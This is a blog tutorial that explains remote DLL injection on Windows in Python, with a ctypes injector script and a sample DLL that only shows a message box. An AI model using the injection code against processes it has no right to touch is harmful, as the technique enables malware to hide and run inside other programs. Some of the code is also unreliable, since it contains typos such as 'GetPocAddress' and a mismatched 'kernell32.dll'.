Understanding DLL Injection via CreateRemoteThread in Python

January 13, 2025
Cybersecurity & HackingProcessInjectionShellcodeDLL

DLL Injection Using CreateRemoteThread in Python

This post walks through how to perform remote DLL injection into a running process on Windows using Python and the ctypes module. We'll cover each step in detail and explain what each part of the code is doing.

⚠️ Disclaimer: This article is for educational and research purposes only. Misuse of this technique may be illegal or against software policies. Use it only in legal, controlled environments like malware analysis labs or red teaming simulations.

🔗 Check out the complete project on GitHub


🧠 What Is DLL Injection?

DLL injection is a technique where an external process forces a target process to load a dynamic link library (DLL) into its memory. This allows the attacker to execute custom code within the context of another process.

In this example, the steps are:

  1. Allocate memory in the remote process
  2. Write the path of the DLL into that memory
  3. Use CreateRemoteThread to run LoadLibraryA, loading the DLL

🧰 Key Windows APIs Used

FunctionPurpose
OpenProcessGet a handle to the target process
VirtualAllocExAllocate memory in the target process
WriteProcessMemoryWrite DLL path into allocated memory
GetProcAddressGet the address of LoadLibraryA
CreateRemoteThreadRun LoadLibraryA in the remote process

📦 Code

1#1. allocate memory in remote Process
2#2. write a dll location in to that memory
3#3. have a external process to load that dll using load library
4
5
6from ctypes import *
7from ctypes import wintypes
8
9kernell32 = windll.kernel32
10LPCTSTR = c_char_p
11SIZE_T = c_size_t
12
13
14OpenProcess = kernell32.OpenProcess
15OpenProcess. argtypes = (wintypes.DWORD, wintypes.BOOL, wintypes.DWORD)
16OpenProcess.restype = wintypes.HANDLE
17
18VirtualAllocEx = kernell32.VirtualAllocEx
19VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD,wintypes.DWORD)
20VirtualAllocEx.restype = wintypes.LPVOID
21
22WritePrcessMemory = kernell32.WriteProcessMemory
23WritePrcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPVOID, SIZE_T, POINTER(SIZE_T))
24WritePrcessMemory.restype = wintypes.BOOL
25
26GetModuleHandle = kernell32.GetModuleHandle
27GetModuleHandle. argtypes = (LPCTSTR,)
28GetModuleHandle.restype = wintypes.HANDLE
29
30GetProcAddress = kernell32.GetPocAddress
31GetProcAddress.argtypes = (wintypes.HANDLE, LPCTSTR)
32GetProcAddress.restypes = (wintypes.LPVOID)
33
34class _SECURITY_ATTRIBUTES(Structure):
35  _fields_ = [('nLength',wintypes.DWORD),
36              ('lpSecurityDescriptor', wintypes.LPVOID),
37              ('bInheritHandle', wintypes.BOOL),]
38
39SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
40LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
41LPTHREAD_START_ROUTINE = wintypes.LPVOID
42
43CreateRemoteThread = kernell32.CreateRemoteThread
44CreateRemoteThread.argtypes = (wintypes.HANDLE,LPSECURITY_ATTRIBUTES, SIZE_T,LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
45CreateRemoteThread.restype = wintypes.HANDLE
46
47MEM_COMMIT = 0X00001000
48MEM_RESERVE = 0X00002000
49PAGE_READWRITE = 0X04
50EXECUTE_IMMEDIATELY = 0X0 
51PROCESS_ALL_ACCESS = (0X000F0000 | 0x00100000 | 0x00000FFF)
52
53dll = b"/home/Remote DLL injection/hello_world.dll"
54
55pid = 2016
56
57handle = OpenProcess(PROCESS_ALL_ACCESS, False,pid)
58
59if not handle:
60  raise WinError()
61
62print("Handle obtained => {0:X}".format(handle))
63
64remote_memory = VirtualAllocEx(handle, False, len(dll) + 1, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE)
65
66if not remote_memory:
67  raise WinError()
68
69print("Memory allocated => ", hex(remote_memory))
70
71write = WritePrcessMemory(handle, remote_memory, dll, len(dll) + 1,None)
72if not write:
73  raise WinError()
74
75print("Bytes written => {0:X}".format(dll))
76
77load_lib = GetProcAddress(GetModuleHandle(b"kernel32.dll"), b"LoadLibraryA")
78print("LoadLibrary Address => ", hex(load_lib))
79
80rthread = CreateRemoteThread(handle, None, 0, load_lib, remote_memory, EXECUTE_IMMEDIATELY, None)
1#include "pch.h"
2
3BOOL APIENTRY DllMain( HMODULE hModule,
4                     DWORD  ul_reason_for_call,
5                     LPVOID lpReserved
6                   )
7{
8  switch (ul_reason_for_call)
9  {
10  case DLL_PROCESS_ATTACH:
11      MessageBox(NULL, L"Hello world!", L"Hello World!", NULL);
12      break;
13  case DLL_THREAD_ATTACH:
14  case DLL_THREAD_DETACH:
15  case DLL_PROCESS_DETACH:
16      break;
17  }
18  return TRUE;
19}

🧪 Code Walkthrough

🔹 1. Load Windows API Functions

1from ctypes import *
2from ctypes import wintypes

These libraries allow Python to interact with low-level Windows APIs.

🔹 2. Set up Function Signatures and Constants

We define argument types and return types for the Windows functions using .argtypes and .restype. This allows proper interaction between Python and the C-style functions in Windows.

Constants like MEM_COMMIT, PAGE_READWRITE, and PROCESS_ALL_ACCESS are used for memory permissions and access rights.

🔹 3. Set Up Target Process and DLL

1dll = b"/home/Remote DLL injection/hello_world.dll"
2pid = 2016

We choose the DLL to inject and the PID of the target process.

🔹 4. Open the Target Process

1handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

This gets a handle to the remote process using its PID. Without this, you can't interact with another process’s memory.

🔹 5. Allocate Memory in the Target Process

1remote_memory = VirtualAllocEx(handle, False, len(dll) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

This allocates a block of memory in the remote process large enough to hold the DLL path.

🔹 6. Write the DLL Path into Remote Memory

1write = WriteProcessMemory(handle, remote_memory, dll, len(dll) + 1, None)

We write the DLL path into the memory block just allocated.

🔹 7. Locate LoadLibraryA

1load_lib = GetProcAddress(GetModuleHandle(b"kernell32.dll"), b"LoadLibraryA")

We find the address of LoadLibraryA in the current process, which we’ll execute inside the target process.

🔹 8. Inject DLL Using CreateRemoteThread

1CreateRemoteThread(handle, None, 0, load_lib, remote_memory, 0, None)

We start a remote thread in the target process that executes LoadLibraryA(dll_path). This loads and runs your DLL in that process's memory.


🔐 Summary

This is a classic example of remote DLL injection:

  • Open process
  • Allocate memory
  • Write DLL path
  • Call LoadLibraryA in remote thread

It's widely used in malware, red teaming, and debugging tools — and now, you’ve learned how to do it in Python.


⚠️ Final Notes

  • Always test in safe, isolated environments
  • This technique can trigger antivirus or EDR alerts
  • You need the DLL to be position-independent and built properly (no GUI entry points unless intended)